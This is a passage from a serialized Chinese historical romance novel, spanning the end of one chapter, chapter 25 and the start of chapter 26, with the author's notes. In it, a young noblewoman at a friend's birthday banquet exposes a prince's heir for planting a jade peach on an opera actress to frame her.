秦离铮握着她的手,另一只手往怀里摸出个瓷瓶,旋即拧开瓶盖,蹭了薄薄一层药膏在指腹,轻轻摁在她的虎口上。 借着月色瞧她,睡颜十分乖巧。秦离铮不由地扯唇笑一笑。 下晌那阵他瞧得清楚,她的眼里有些惊惶,有些愕然,还有些她自己未能察觉的羞。 秦离铮垂眼凝视着她,半晌,轻轻捉着她的手,俯低身子往她手心亲了下,久久的。 好像她的掌心如她的人一般,温软得像云,使他陷进去后就再也舍不得抽离出来—— 作者有话说:突然想到从上帝视角来看很好笑。 燕榆等人:“咱们先这样,再那样,届时一定拿下她!” 实则映仪宝宝早就在这一头被迫和侍卫打得火热了。 我们映仪啊~向来是心口不一。[好的] 第25章 绿草茵茵,微风吹拂。桃花正盛,黄鹂婉啼,唱来了晏家秋雁的生辰。 钱映仪起了个大早,由两个丫鬟伺候着梳妆打扮,旋即兴兴抱着送与晏秋雁的生辰礼就往外赶。 如今春棠与小玳瑁互通心意,钱映仪早已做惯那红娘。 便是像今番这样的出门,都不叫小玳瑁跟着,春棠也一并留在家中,说是云滕阁琐事繁忙,少了春棠不行。 秦离铮早已在门房等她,听声扭头望去,就见她在廊下蹦跳着过来。 女孩子今日穿一件缠枝牡丹纹比甲,里头是桃粉对襟长衫,腰间扎着欧碧色缎绣花卉纹马面裙。梳着垂鬟分髾髻,耳后两绺细细的辫子编上桃色细绳,一动起来,满头珠钗轻晃,愈发俏皮可爱。 “你怔怔站在这儿做什么呢!”钱映仪轻戳侍卫的臂膀,催促道:“走啦!” 秦离铮敛起心神,不错眼盯着她的身影上了马车,方抿一抿唇,紧随其后跟上。 辗转到晏家时,时辰尚早。几个丫鬟小厮在门房迎人,一见钱映仪,其中一个丫鬟就笑迎上前,“钱小姐,我家小姐昨夜就念着您来呢,快随奴婢进去。” 钱映仪笑吟吟点着下颌,指尖攀着侍卫的胳膊下了马车。 丫鬟引她一路往宅子里走,不防走到垂花门下被一道温润嗓音叫住。 “映仪!” 钱映仪转身回望,便见燕如衡快步朝她走来。 燕如衡今日亦十分打眼。穿着窃蓝色上襦,外配杏仁黄无袖对襟比甲,头戴幅巾,面容俊如美玉,唇畔一惯凝着笑意。 怪哉,钱映仪在今日又觉得他尤其漂亮,因此停在原地等他。 燕如衡很快行至她身旁,稍显随意的目光在侍卫身上落了片刻,就直直盯着钱映仪笑,眼神温柔似水,“映仪,我这样叫你,可以吗?” 离得近了,钱映仪嗅到他身上那丝若有若无的柑橘香,嗓子里喧着轻快,“旁人都常这样叫我,可以的。” 燕如衡悄瞥着她的笑颜,耳根微微红了,与她并肩往前走,顺道问起她怀里那个四方小锦盒,“映仪,这是你送与秋雁的生辰礼吗?” 你一言我一语,话匣子就此拉开。 绚烂光影斜斜投在廊下,二人打远瞧着宛如一对壁人。秦离铮在后头不紧不慢跟着,神色渐冷。 行至一处墙根下时,正巧几个丫鬟擎着托盘走来,见了二人便端端正正福身。待行到秦离铮身侧时,其中一个丫鬟便憋不住,歪脸与同伴打趣,“嗳,瞧见没?好相配。” 另一个说:“嘘,不得议论客人!” 她话虽如此说,却不去捂那丫鬟的嘴,只笑嘻嘻与其一并离去。 这厢燕如衡与钱映仪笑谈,正踩上一截石磴。 大约是风有些大,不知打哪冒出来个石子在脚下,凑巧那石磴上有些尚未来得及清扫的青苔,他一脚踩下当即一滑,若非一旁有假石搀扶,险些就跌倒在地。 半束光打在钱映仪巴掌大的小脸上,照得她抹了胭脂的脸益发红扑扑的,她被唬一跳,两帘睫毛扇出茫然,忙问:“没事吧?” 燕如衡暗自稳下心神,垂眼盯着那颗只有指节大的石子,没放在心上,旋身朝钱映仪笑道:“不打紧,我一时没看路,咱们说到哪儿了?” 钱映仪把目光转向脚下,便也跟着笑,“那我可得谨慎些走路,若摔了,今日这打扮就白费了。” 二人继而往下深聊,彼此都没将这一打岔放在心上。 穿过大半个宅子,渐渐就走到设筵席所用的大花园。晏秋雁今日活脱脱是个喜庆打扮,动起来像只展翅乱飞的蝴蝶,正欢欢喜喜与家中长辈说着话。 这厢眼尖瞥见钱映仪,晏秋雁目色一亮,忙不迭捉裙向她跑来。 钱映仪忙把怀里那小锦盒递过去,笑着拉晏秋雁的手,“生辰礼!我可从没落下过!” 晏秋雁连嗔笑她,“哼,现下我先不打开,你向来爱送我一些奇怪的东西,我宝贝着呢,等夜里没人了我再瞧。” 又仰着脸与燕如衡说话:“咦,三哥哥,你们二人是如何撞在一处过来的?” 燕如衡亦是送上个锦盒,抿着唇笑:“大约是缘分?” 晏家的大花园里种满奇花异草,满园芬芳吹来阵阵香气。这时候虽还早,也有些个常与晏家交好的官眷领着自家女儿儿子过来,遥遥投来一眼,目光里便是好奇与打量。 仿佛也十分好奇这一齐过来的二人之间是不是真的有什么不可言说的缘分。 一时之间,闪烁的目光也多了。 这厢众人会如何戏谑暂且不表,且说那俞敏森得了爹的叮嘱,也是早早便与娘一道来了晏家。 由丫鬟引着往里头去时,往假山后捉住一抹鹅黄身影,眼珠子当即咕噜一转,轻唤道:“娘,我内急,先去寻个方便,待会来找您。” 瑞王妃人至中年依旧妍丽,回身叮嘱道:“你快些,我在前头等一等你。” “好,娘,您去前头。” 俞敏森作势跟着丫鬟往另一头走,左右耳朵高高竖着,留神娘那头的动静。待再听不见娘说话,便随意找了个借口支走丫鬟,旋即身形一闪跑没了影。 没几时,跑至假山那隐蔽处,俞敏森两只耳朵都红彤彤的,气吁吁道:“月月,你也来了。” 那抹鹅黄色的窈窕身影转脸来瞧他,目色羞怯,小声道:“你来得,我就来不得了?” “我不是这个意思!”俞敏森忙胡乱摆手,盯着郭月那张秀丽容颜,又道:“我、我只是没想你也来得这样早。” 他仍有些气喘,郭月抬脸窥他,倏然瘪一瘪唇,“你打算何时与王妃说咱们的事呢?瞧你气吁吁的样子,我猜你就是避着王妃过来寻我,我晓得,王妃想为你寻位家世匹配的小姐,我爹官位不高,只是个小小的司狱,想要够你王府的门槛,还远远不够。” 她一席话说得俞敏森心头慌神,歪着脸窥一窥她的容颜,干脆壮着胆子一把将她掣进怀中,语气笃定道:“我只喜欢你,凭娘替我选谁,我都不要。” 郭月心头美滋滋的,轻轻把脸贴在他的胸前听他的心跳如雷。 想及方才见钱映仪与燕如衡从另一头过去,便道:“钱映仪也来了呢,哼,你当真讨厌她?我可听外头有些人说,你看似讨厌,实则爱慕她,此前种种不过为了吸引她注意你。” 俞敏森听得连连皱眉,松开她后又握上她的肩,凝视着她道:“怎么可能?你听哪个说的,说与我听,看我不撕烂他的嘴!” 郭月瘪瘪唇,“没有就好,我也不大喜欢她。” 俞敏森这才舒展眉头,又去抱她,“正好,你也不喜欢她,再等等,过了今日我便能时常为你出气。” 郭月自他怀 里仰起脸,有些狐疑:“什么叫我再等等?” 自知说漏嘴,俞敏森不大自在地撇开头,倒一时不知该如何回答她了。 郭月心头疑窦丛生,半晌,壮着胆子去搂他的腰,倏软嗓音:“与我说嘛。” 见他面色为难,郭月索性踮脚往他脸上亲一下,“啵”的一声。 俞敏森原本为难的脸色倏然涨红,思忖半晌,到底低低与她说了一星半点,抹去了贪墨,只说今日要成全钱映仪与燕如衡。 郭月这才恍然,轻垂眼皮不知在想什么,半晌,附耳与俞敏森说了几句话。 俞敏森眨了眨眼,“这样也行?” 她点点下颌,“反正是要成全他们,这法子既能成全,又能叫她不痛快。” 于是俞敏森不作他想,伸手刮一刮她圆润的鼻尖,便恋恋不舍道:“娘还在前头等我,我不能久待,届时咱们席上再见。” 晏家老爷子晏松一惯疼爱孙女,今日刻意推了工部的公务,正在大花园里与晏秋雁说话。 正说着,一行戏班子也已就位。 将将好是璎娘所在的那个戏班子,因往钱家唱过几回,晏秋雁又觉得的确不错,干脆也将其请上了门。 渐渐的,宾客益发多了起来。晏秋雁的母亲张氏正与瑞王妃闲聊,自然也不忘在其他官眷里头打转。 “嘭”的一声,锣鼓震天响,晏松为孙女点了出《醉闹五台山》,戏班子没几时就咿咿呀呀唱了起来。 园子里一时热闹得厉害,止不住地丫鬟小厮上前送瓜果点心,实属欢乐。 约莫半个时辰下来,戏班子要歇一歇。一些小姐便也上前围着晏秋雁说话。 钱映仪与温宁岚倒被挤开,不免互相对视笑一笑,闲来无趣往一旁的池子行去。 “嗳,映仪,你方才瞧见没?”温宁岚小声与她咬耳:“郭月和瑞王世子一直在眉来眼去,你说郭月到底喜欢他什么?” 钱映仪无所谓耸耸肩,“不知,也与咱们没关系,你管他们呢,眉来眼去的眼神又没落在咱们身上,多喜庆的日子,别提他,晦气。” 二人一路有说有笑,只是渐渐地,钱映仪神情古怪,一双眼睛在四周睃寻一圈,问:“怎么感觉她们像在躲我?” 温宁岚面色讪讪,小声道:“上回你在蔺家拿箭射世子,虽不是你的错,可她们都觉得你看似乖顺,实则有些彪悍,便” 钱映仪一噎,“便打定主意不与我玩?嘁,我还不和她们玩呢!” “映仪说得对,”燕如衡蓦然出现在二人身后,微微俯低头凝着她,“自会有真心实意之人与你玩。” 又开玩笑似的,温声把她夸一夸,“今日打扮得花一样好看,可不好生气。” 钱映仪从不抗拒旁人夸赞自己,大大方方受了,也脱口而出回赞道:“你也漂亮。” 这话直白,燕如衡的脸庞也没有理由地渐染红晕,连心跳都快了不少。 盯着她坦坦荡荡的神情,他莫名牵出几分心虚。 好像他若是在今日欺骗了她,日后便再也见不到这样的神情出现在她脸上。 自打他调任回来,身边尽是虚伪之色,唯她纯粹得像张不染水墨的纸。 也许这一瞬间的挣扎占据主位,燕如衡定定神,温柔问道:“那我能同你做朋友吗?” 他想,先从朋友做起。揽获她的芳心,或许比诓骗她要使他更心安理得一些。 钱映仪莞尔,“大家不都是朋友?” 这头正说着话,不防有个赤眉白脸的小厮捧着佳肴从这头过,一时脚底一滑就往前扑。 佳肴骤然往前泼洒,燕如衡心中一咯噔,忙往后退着躲避,不巧身后正是那池子,他咬咬牙,须臾间调转方向,到底是踉跄着躲开了。 只是模样有些狼狈。 钱映仪捻着帕子拍拍胸脯,稍显错愕神情,“真是奇了怪了,你今日瞧着有些倒霉。” 燕如衡也稍有茫然,“也许吧。” 适逢那戏班子又开唱,温宁岚在一旁讪笑:“咱们还是先回去吧,干活的下人时常走这里过,再撞上就不好了。” 钱映仪点点下颌,三人便一齐拔脚往花园里去。 只有那无人在意的角落里,有个侍卫敛着冰冷的目光,凝视着他们。 身旁有个虎头呆脑的小厮认出他,惊喜搭讪:“你是钱家的侍卫吧?上回在蔺家我就见过你,你身手可真好,嗳,你看什么呢?” 秦离铮面上无甚表情,甚至连头都没偏离,只道:“滚远些。” 小厮瘪瘪嘴,不敢与他正面回怼,只好委屈走了。 秦离铮悬着漠然的一双眼,遥遥盯着钱映仪看了许久,半晌才将目光挪开,四面睃寻一眼,与各个方位不起眼的小厮对视。 前几日他便先与钱映仪说了刻意编撰的故事,仅仅也只是确定一件事,倘或她今日见到那玉桃,必然会想起这个故事,也必然不会收下。 只是燕榆等人的阴私手段太多,今日金陵大半数门户里的官眷都在场,若非要发生什么,也不是不行。 他只好安排手下潜进晏家顶替小厮的位置。 若对方有什么不利于她的举动。 他不介意在今日闹一闹。 想着方才钱映仪面对燕如衡展颜一笑,秦离铮神情未变,只是又将目光调转回她身上,像根无形的细绳,要紧紧缠住她。 这厢戏班子接着把那《醉闹五台山》唱一唱,燕文瑛坐在园子里,笑望燕如衡与钱映仪一并回来,暗暗与瑞王妃使了个眼色。 旋即又起身轻挪莲步寻到认真听戏的晏秋雁身旁,低柔着嗓音道:“好妹妹,上回映仪在我夫家被欺负,我心里头还是过不去,可还记得我先前与你说好的?” “我这礼物借由你的手送出去,你今日过生辰,她定不会拒绝。” 晏秋雁性情直爽,一边是自幼跟在其屁股后头跑的姐姐,一边是如今的闺阁好友,她夹在其中,自然不想两方因这件事生了嫌隙。 便笑着点点头,“燕姐姐放心,我记着呢。” 张氏爱女,见渐渐要开筵席,便悄悄使丫鬟去办事。半炷香的功夫,大花园的半空就放满纸鸢,晏秋雁惊喜不已,笑眼眯成了细细的缝,“好漂亮!” 张氏慈爱的目光落在她脸上,笑道:“今日生辰,雁雁可有什么心愿要许?” 晏松也在一旁笑,“尽管说来!能办的,爷爷就给你办了!” “我哪能有什么心愿呀,”这么多双眼睛盯着自己,晏秋雁有些扭捏,便把钱映仪与燕文瑛、温宁岚一并揽到身前,笑道:“我就想与好朋友一直在一起!” 晏松笑她错失机会,众人也跟着笑。 “等等!我还有个心愿!”晏秋雁收到燕文瑛递来的眼色,忙去唤丫鬟:“把东西取来!” 不一时,丫鬟折返回来,手里捧着个四四方方的檀木锦盒。 晏秋雁笑吟吟拉着燕文瑛与钱映仪的手,道:“我还有个心愿便是,我的好朋友也能一直是好朋友。” 说着接过那锦盒,作势打开,“映仪,我晓得你先前在燕姐姐家受了委屈,燕姐姐也始终过意不去,若有误会,咱们今日就解开,两双手握在一起还是好朋友。” 众人听了半晌,也明白过来。毕竟先前蔺家那事,的确闹得沸沸扬扬。 钱映仪有些诧异,心下其实不喜欢这样被捧在众人眼睛下给人瞧的举动,但碍着是晏秋雁生辰,到底是没说什么,只含笑点了点头。 岂知待晏秋雁打开锦盒—— 众人哗然。 锦盒里,什么都没有。 燕文瑛心中一咯噔,直觉不妥,忙要找补说话。 晏秋雁却是个直性子,面色渐渐冷下来,把这空荡荡的锦盒晃一晃,扭头去 问丫鬟:“里头的东西呢?” 丫鬟也惊愕,头摇似拨浪鼓,“奴婢、奴婢不知” 郭月自人群中走出,抻着脖子把那锦盒望一望,唇角噙着抹似笑非笑,“哟,大好的日子,莫不是遭贼了?” 官家门户里最忌讳东西被典卖或偷走,一说起贼,几个太太脸色都渐渐凝重,其中一个便道:“晏小姐,这里头原本是什么?依我看,不管是丢了还是丫鬟不小心放哪了,都得找出来才是。” 晏秋雁道:“是个玉桃。” 玉桃?钱映仪一怔,心道未免太过巧合,她前些日子才听过与其有关的故事。 不待她细想,那出声的太太便道:“那是得找一找了,咱们这等门户,可是绝不能容忍有家贼的!” 家中小姐做生辰宴,东西却不见了,不管是不是贼,这话传出去不知多难听。晏松也冷下一张脸,招来管家命道:“去把伺候小姐的丫鬟都喊来,先挨个问一问。” 倒不是怀疑丫鬟们是贼,只是这么多太太小姐与少爷都在场,面子功夫也得做一做。 戏班子的唱腔也因这事戛然而止。璎娘今日本是十分高兴,晓得今日在场的都是官太太,她曾仔仔细细叮嘱过戏班子的所有人。 今日倘或能得富贵人家青睐,整个戏班子这辈子都不用愁吃喝了。 可眼见这些官太太面色不大好,璎娘又有些惶恐。 恐这些太太们一个不高兴连他们这种戏班子也看不上眼,便悄悄向同伴使眼色,欲往后退几步,把存在感降到最低。 怎知那俞敏森眼尖得跟什么似得,看她“鬼鬼祟祟”,便喊:“嗳!那个戏子!你躲什么?” 瑞王妃最是了解儿子,心念一动,便觉察出不对劲。事态好似并未往王爷与她交代的方向发展,这孽障定是起了什么坏主意 眨眼的功夫,所有目光顺着俞敏森的手指汇聚在璎娘身上,戏班子那一众人恐祸及自己,也悄悄把脚步挪了挪。 璎娘吓得冷汗涔涔,两脚发软站不住,“我我没躲呀。” 俞敏森拔步行至她身前,来回瞟她两眼,语气里暗藏蔑视,“你慌什么?” “世子莫要胡乱指人。”晏秋雁拧眉拦他。 璎娘骇极,心道他怕是将自己当做了贼,又听晏秋雁唤他世子。天老爷,她哪里见过什么世子? 当即吓得匍匐在地。 不料就是这一动静,有个桃色玉球自她身上掉下,咕噜噜滚了两圈,最终停在不远处。 璎娘惊吓怔住,下意识拼命摇头。 俞敏森勾着唇淡笑一声,捡起那玉桃放在手里掂一掂,眼神陡然凌厉,“我就说你鬼鬼祟祟的不对劲!原来你才是这偷东西的贼!” 璎娘忙喊冤,“不是我!不是我偷的!我也不知它怎么会从我身上掉下来!真的不是我!” 她惶然的眼睛挨个落在这些贵人脸上,最终搜寻到一张俏丽的脸,三两步膝行爬去,攫着那精致裙摆央求道:“钱小姐,钱小姐,您替我分辨一二,我在您家也唱过,您家里从来没丢过什么东西,是不是?” 秦离铮远远望着这出意外,暗拧眉心,见这戏子的话对钱映仪不利,手已悄无声息抬起一些。 钱映仪被她拉得发怔,匆匆回过神来忙使夏菱扶她起身,也不由地月眉重叠,总觉哪里不太对。 “哦?你还在钱家唱过?”俞敏森稍稍眯眼,倏地恍然,“想起来了,方才好像是听谁说过两句,你这戏班子原来是在钱家唱的,因钱映仪对你不错,便引得你也来晏家唱。” 这话一出,郭月便小声道:“映仪,你也是,好好地与戏子有交情做什么,这样的戏子,我家可不敢用。” 官眷本就忌讳偷盗之行,有些小姐这时看钱映仪的眼神也渐渐变了。 “你看她哪有大家闺秀的样子,好好一个三品侍郎的孙女,和戏子有交集,这下好了,自己也染一身脏。” “就是,要我说,指不定” 后头的话或许难听,那小姐被母亲匆匆捂嘴,拽到一旁去了。 璎娘那双眼里满是泪水与无措,钱映仪凝神盯着,在此刻总算明白些什么。璎娘贪图小利,她是知道的。 可她向来只相信自己的直觉,璎娘究竟做没做这偷盗之事,只消分说一番。 即使被几人当面说了些闲话,钱映仪也仍是冷静的。 她扭头望向俞敏森,道:“她是在我家唱过没错,可今日太太们都在,她身后是个名不见经传的戏班子,若唱好得太太们赏眼,日后自当常在门户里走动,何至于贪图眼前这丁点小利?” 俞敏森笑,“那我冤枉她做什么,一个戏子罢了。” 钱映仪吊起眉梢,倏然问了个毫不相干的问题,“我常听弟弟说,世子在府学爱欺负同学,难不成世子是因为冤枉人成了习惯,所以也要冤枉她?” “笑话!”俞敏森可笑地盯着她,“东西都从她身上掉下来了,大家都有目共睹,我用得着冤枉她?” 钱映仪往前走半步,目光不经意留在那些小少爷身上,道:“真真假假,假假真真,有时眼见不一定为实,说的话也不一定可信,世子瞧不起她只是个戏子,却没否认自己平常在府学冤枉人,世子” 她笑得无害,“你这是变相承认自己平日里没少欺负同学咯?” 那些小少爷们的确多多少少都惨遭过俞敏森的毒手,是以神情也不大好。 有个小少爷便站出来替钱映仪说话,“叫我看,钱小姐说得不错,晏家偌大门庭,若错冤枉了人,说出去没得叫人觉得官员欺压到百姓头上去了。” 晏松眉心一跳,当即暗自琢磨起来。 秦离铮垂眼听着钱映仪句句引俞敏森掉入陷阱,唇畔暗勾出一缕笑,紧握的拳也渐渐松了。 “你少提什么府学!”俞敏森一指璎娘,质问道:“你就说她是不是偷了东西,东西是不是从她身上掉下来!” 认识的小姐能站出来替自己说话,已是万幸。璎娘将钱映仪当作一丝生机紧紧抓着,一连迭道:“我没有,钱小姐,我真的没有偷,我若偷了东西,便叫我喉咙生疮,这辈子都唱不了戏!” 岂知她愈是如此自证,旁人愈是怀疑她。 那些太太们见钱映仪替她说话,益发地不赞同,止不住地摇头。 先前被捂嘴的闲言碎语又蓦地冒了几句出来。 “都瞧着是她偷的了,还用得着再评说么?钱映仪这回怕是连自己的名声都要坏了。” “嗳,你说,物以类聚人以群分,钱映仪会不会也” 俞敏森得意洋洋扬着下颌,暗自与郭月互相睇眼,心头皆是爽利。 钱映仪垂眼听着那些话,好似觉得过分刺耳,或许心性还是不够坚韧,便将失望的目光落在璎娘身上。 璎娘意识到什么,很是难过,绝望之下仍拼命摇头。 便听钱映仪叹一口气道:“璎娘,证据摆在这里,即使我想替你分辨,这么多双眼睛看着,我也没有办法。是我看错你了,你手脚不干净,今日这花旦还唱得一般,往后你也别来我家了,你认下罪,且去吧。” 璎娘被这话打击得往后跌退两步,一屁股倒在了地砖上。 钱映仪话锋陡然转变,那些太太小姐们非但不赞同,又拿脏似的用帕子捂嘴。 “哟,到底是假惺惺的,先前还执意护着这戏子呢,这下没话找补,便忙着变脸了。” “什么内里彪悍,我看也不过如此。” 燕如衡听不下去,往前走了两步欲替钱映仪辩解,不曾想俞敏森得意忘形,暗爽自己总算赢过钱映仪一头,便道:“区区一个戏子,的确不大合适出现在门户里,我方才听了半日,也没觉她唱得多好,还说是个青衣,真不知是如何捧上” “世子且慢。”钱映仪猛然打断他,“敢问世子一句,今日咱们听的什么戏?” 俞敏森蔑笑:“醉闹五台山啊。” 瑞王妃在一旁听了半日,早已听出门路,暗道一句不妙,想上前捂俞敏森的嘴,却没钱映仪的速度快。 钱映仪点点头,“原来是醉闹五台山啊,可我怎么记得,这出戏里并没有要青衣上台的戏角,璎娘今番又是唱的花旦,只念些旁白,听世子方才说的话,是头一回听这戏班子唱戏” 她往前跨了半步,看俞敏森笑得高兴,好像自己也被他浸染,也跟着笑,“世子怎知她唱过青衣?” 俞敏森这时回过神来,面色一变,当即要辩驳! 岂知钱映仪步步紧逼,每往前跨行一步,就抛出个问题砸得他两眼发蒙。 “说话呀,世子,璎娘唱过青衣的事,在这里只有我与秋雁、岚岚知道。” “世子,你是如何得知的?” “戏班子里的戏服众多,时常是将戏服顺手放在最上头,璎娘前几日刚来我家唱过青衣,她今日却是唱的花旦,那青衣戏服放在箱笼最上头,也是自然而然的一件事。” “莫不是,这玉桃是世子先拿了,然后放进璎娘换衣的箱笼里,这才看到了她的戏服?” “世子要这玉桃做什么呢?难道是受人蛊惑而意图捣乱秋雁的生辰宴?” 秦离铮在这头听得连连好笑,未想她竟有如此敏捷的思绪。 钱映仪最后一步停在俞敏森身前,稍扬下颌,自眼梢里凝出一点冰冷,声音很轻:“世子,你把我们耍得团团转,究竟意欲何为?” “我我”俞敏森心慌下没能说出个缘由。 郭月当时与他说,要给钱映仪一个教训。只要污蔑钱映仪与这手脚不干净的戏子常有来往,其他人自会远离她。而燕如衡既想娶她,自会当众护着她,这样也算完成爹交代的事。 可这钱映仪好生牙尖嘴利!俞敏森有些摇摆不定,忙将眼风瞟向恶狠狠盯着自己的娘。 瑞王妃这时顾不得与他清算,忙站出来,笑道:“哎唷,不是什么了不得的事,既东西找着了,这偷东西的戏子打发出去就是了,大伙儿说是不是?” 她向来在官太太之间有话语权,料想自己出面定然能先平息此事。 可却低估了张氏爱女之心,张氏先前虽与瑞王妃闲谈,那是因二人之间没有龃龉。可钱映仪方才那番话点醒了她。 不论这戏子有没有行偷盗之事,她女儿的生辰宴都被瑞王世子这小霸王给搅和没了! 于是张氏唇畔噙着一丝若有若无的笑,道:“王妃所言有误,这偷盗之事发生在我家,我自当要查探清楚,便如先前那位少爷所说,若叫外头的百姓说我晏家以官欺民,到底是不好,王妃觉得呢?” 瑞王妃面色一僵,不由地怒从心起,想及王爷的叮嘱,只好维持体面微笑。 她道:“晏太太说的是,那我想或许是戏班子不够细心,今日有筵席,底下的小丫鬟们忙起来,一时不慎放错盒子,也是常有的事,若戏班子换戏服前仔细检查一番,说不准就没这样的误会了!” 三言两语又将偷盗之事变作“误会”。 “王妃娘娘,话可不是这样说,”钱映仪神情认真搭腔:“四四方方的盒子与半人高的箱笼,小丫鬟们还是分辨得出来的。” 话说到此时,整个大花园已然陷入僵局。 瑞王妃扭头望着钱映仪,心里头暗道怪不得儿子屡屡败给她,便是她自己也险些被她激怒跳进她的言语陷阱里。 俄延半晌,瑞王妃还是笑了笑,嗓音一软再软,“好孩子,何苦如此呢?今日放这戏子出去,咱们不说她偷盗,也不算冤枉了她,你爷爷乃南直隶工部左侍郎,你家与咱们一样,与这戏子天差地别” 说到这,瑞王妃话音顿停。 有些不大聪明的,就只觉她在劝钱映仪,毕竟大家时常在门户里互相走动,都是一类人,没道理再为了个戏子与多数人作对。 至于聪明的那小部分人,自然也听出来了,瑞王妃在暗骂钱映仪是个另类,此番正是为了逼迫钱映仪服软。 包括钱映仪自己,也听出来了。 她轻垂眼皮没吭声。 秦离铮捻了颗石子在手里,正暗自盘算何时打进王妃那张胡乱说话的嘴里。 “瑞王妃真是有张好会说话的嘴!” 园子外的月亮门下蓦然有一道倩影翻身跃进,手持细鞭在地上甩得噼啪作响,薄粉覆面,眼神凌厉,穿一件酂白鹤纹立领对襟长袍,脑后丝带随风飘荡。 自她身后又行来三人。 走在前头的女子系着缥碧色披风,不施脂粉,漫不经心抬着手由人搀着。搀着她的那青年眉眼锋锐,自有一股冷冽之气,目光落在瑞王妃身上,也渐渐牵出一丝寒凉。 余下那位则是穿一件深蓝直裰,腰间缀着两块腰牌,头戴一顶大帽,帽珠衬得他原本俊秀的脸愈发温和。 钱映仪没有回头,手却紧紧攫住了裙边,心中是止不住的高兴。 打头阵那女子片刻便行至钱映仪身后,透过钱映仪的肩头冷眼盯着瑞王妃,手中细鞭来回缠了两圈。 “我倒想听听,在瑞王妃嘴里,我妹妹究竟还能坏成什么样。” 众人惊愕把四人来回凝视,半晌,心里渐渐回过了神,又忐忑起来。 她们怎能忘了这钱映仪的出身。 爷爷与爹都乃本朝三品大员,外祖乃太子太傅,兄长年纪轻轻已是翰林院编修,仕途必定顺遂,日后或许能进内阁。姐姐又嫁进忠毅侯府,其姐夫更是出类拔萃,已然跻身户部执掌实权。 是钱映仪在金陵待得太久所以她们才下意识觉得她身后没有依靠了么? 那持鞭女子轻轻拍了拍钱映仪的肩,换了副神色去逗妹妹,“姐姐都到眼前了,你还不转过来抱抱姐姐?” 钱映仪依旧垂着眼站在原地,攫裙的手却紧紧握成了拳头。 半晌,才慢慢抬起头。 她抬手指向先前说过她闲话的太太与小姐们。 继而扭头望着赶来的四人。 “哥哥嫂嫂,姐姐姐夫”这一眼,泪眼婆娑,实在委屈,“我被他们欺负了。”—— 作者有话说:映仪内心:好耶,撑腰的来咯。 映仪表面:[爆哭] 我已经完全爱上映仪~ 顺便一提,侍卫诱捕计划即将开启。《 》 25-30 第26章 鸟雀轻啼,在寂静的大花园里闹得欢快。那些太太小姐心悬到了嗓子眼,不曾想钱映仪竟当场告起状来! 握鞭女子正是钱家玉幸,面容生得温婉,性子却飒爽,这厢见妹妹哭成这样,凌厉眼风登时往她身后看。 目光逐一掠过那些脸庞,稍刻,钱玉幸自红唇里泄出一声笑,“你们” “是自己站出来,还是叫我一个个搜出来。” 此言嚣张至极,太太小姐们被问得沉默不语,好半晌没答话。 其中有个小姐也是在家中娇惯着养大的,便壮着胆子站出来道:“谁、谁欺负她了!她与戏子有交情,这戏子做了偷鸡摸狗之事,我们想到她身上去也是顺其自然之事吧?” 余光瞥至太太小姐们暗暗点头,这小姐又道:“我们可不是说她,只是讲理,今日可是晏小姐生辰,说到底也是因为她认识的这个戏啊!” 话音未落,这位小姐的腰身倏然被细鞭牢牢卷住,下一刻,单薄的身体也不由自主往前趔趄。 钱玉幸几步走向她身前,居高临下乜着她,连连冷笑:“那你当着我的面还敢说我妹妹,我教训你,也是顺其自然之事。” 旋即又将眼神扫向璎娘,话却是对着晏松说的,“晏老,对不住,玉幸贸然登门实属无礼,只是晏太太有句话说得不错,倘或不查清楚,不管是您家里的名声,还是我妹妹的名声,传出去都不大好听,您说是不是?” 因钱映仪与晏秋雁常玩在一处的原因,钱玉幸往前回金陵看妹妹时,也在晏家走动过几回。 是以晏松也认得她,只是没想到她会在众目睽睽下对那小姐动手。 恐自己说话有失偏颇,便使眼风给张氏,张氏哪能不懂?心中正憋着一口气,便端起腰直起背,斩钉截铁道:“自然!” 那钱林野搀着自家媳妇一路过来,行到钱映仪身前,便弯腰把她的眼泪擦一擦,仿佛只是与她说些兄妹间的小话,却又叫众人稍有惊愕。 “哥哥是怎么教你的?有人欺负你,直接打回去就是了,你在金陵就受这样的窝囊气?” 都说他年纪轻轻入翰林,想必也是通情达理满腹墨水之才。开口闭嘴打打杀杀,哪像个文臣? 众人沉默更甚。 这厢得到张氏准话,钱玉幸的笑颜霎时温婉下来,安抚性把钱映仪的肩头拍一拍,朝那抹深蓝色的身影招手,“过来。” 余骋唇畔牵出一丝笑,信步闲庭像逛自家花园一般,没几时走到张氏与晏松身前,挨个俯首作揖,“晚辈余骋见过晏老,晏太太。本不该冒昧登门打扰,只是妻妹瞧着像是卷进一桩偷盗案,晚辈身为江南巡抚,或许也该断一断案。” 江南巡抚?晏松眉心一连迭跳动,面上不显,心中早已百转千回。 巡抚向来清吏治,肃官邪,且一丝半点的消息都没有!皇上这是要清一清南直隶的蛀虫了? 晏松还未开口,先前那不大服气的小姐一听要把此事当成一桩官司办,登时有些怕了,便忙道:“我们可没那意思!是是世子!” 她一指俞敏森,“是世子先挑起的头!” 瑞王妃对这位突然冒出来的江南巡抚也稍有惊愕,岂能由人将污水泼在儿子身上? 可左思右想,方才钱映仪已步步钻研透儿子的奸计,再争辩不休,只会叫儿子吃亏 况且,金陵来了位江南巡抚,这么大的事情,于王爷那头不是个好消息。 因此瑞王妃暗自咬牙忍下,抬脸冲钱映仪笑,“好孩子,上回王爷就已狠狠教训过世子,世子怎还会欺负你?” 她越往后说,语气越是和蔼:“来时我就已反复叮嘱过他,这其中定然是有误会。” “呕”陡然有一记干呕冒出来,钱林野身侧那披缥碧色披风的女子嗓音轻柔,捂着胸口向钱林野道:“官人,我恶心。” 钱映仪听得“噗嗤”一声,险些露馅,恐被旁人发觉她只是在装,又忙把头给低了下去。 瑞王妃脸色渐黑,只觉在官眷们之间挂不住脸,一时也住了嘴。 钱玉幸是个急性子,也到底没有大闹晏家,便顺着瑞王妃的话道:“王妃既说世子没有欺负我妹妹,那我妹妹不会平白无故被人话里话外泼脏水,方才我不在场,想必王妃知道都有谁囖?” 一席话又将瑞王妃架在火上烤,倘或她不说,就默认是俞敏森在欺负钱映仪。可若说了,日后她还如何在官眷中立足? 瑞王妃不由地暗瞪俞敏森,偏巧这一眼发觉俞敏森在与一道身影互递眼色,她当下明白过来,看那抹鹅黄色的身影回忆出她是哪家小姐,心头冷笑一声。 于是扭头去问她,“郭小姐,我记得先前是你怀疑遭了贼,听说你常在外头说映仪这里不好那里不好,见了面也爱与她争口舌之快,难不成是你刻意将这玉桃放进戏班子的箱笼里?” 